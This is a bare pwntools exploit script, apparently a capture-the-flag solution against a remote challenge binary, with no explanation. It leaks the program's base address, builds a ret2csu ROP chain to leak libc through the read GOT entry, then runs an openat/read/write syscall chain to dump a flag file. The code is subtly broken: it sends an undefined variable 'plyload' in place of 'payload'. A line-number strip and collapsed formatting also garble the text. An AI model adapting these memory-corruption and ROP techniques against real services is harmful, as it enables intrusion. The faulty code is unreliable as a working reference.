1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import * context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote("node4.buuoj.cn", 28900) elf = ELF("./challenge") libc = elf.libc
io.sendlineafter("1.yes / 2.no\n", b'1') io.sendlineafter("2.痛苦面具\n", b'1') io.recvuntil("函数的地址:") base = int(io.recv(14), 16) - 0x1249 success('base: ' + hex(base))
io.recvrepeat(1) io.sendline(b'2') payload = flat(cyclic(0x38), base + 0x000000000000163A, 0, 1, 0, base + elf.got['read'], 1, base + elf.got['read'], base + 0x0000000000001620, [0] * 7,
base + 0x000000000000163A, 0, 1, 2, base + elf.got['read'], 0x10, base + elf.got['read'], base + 0x0000000000001620, [0] * 7, base + 0x0000000000001468, ) io.sendline(plyload) io.send(b'\xd0')
libc_base = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x10dfd0 success('libc_base: ' + hex(libc_base)) p_rax_r = libc_base + 0x0000000000036174 p_rdx_r = libc_base + 0x0000000000142c92 p_rdi_r = libc_base + 0x0000000000023b6a p_rsi_r = libc_base + 0x000000000002601f syscall_ret = libc_base + 0x0000000000083f6c
pld = flat(cyclic(0x38), p_rax_r, 0, p_rdi_r, 0, p_rsi_r, base + 0x0000000000004100, p_rdx_r, 0x10, syscall_ret,
p_rax_r, 0x101, p_rdi_r, 0xffffffffffffff9c, p_rsi_r, base + 0x0000000000004100, p_rdx_r, 0, syscall_ret, p_rax_r, 0, p_rdi_r, 1, p_rsi_r, base + 0x0000000000004200, p_rdx_r, 0x30, syscall_ret,
p_rax_r, 1, p_rdi_r, 2, p_rsi_r, base + 0x0000000000004200, p_rdx_r, 0x30, syscall_ret, ) io.sendline(pld) io.send(b'./flag\x00')
io.interactive()
|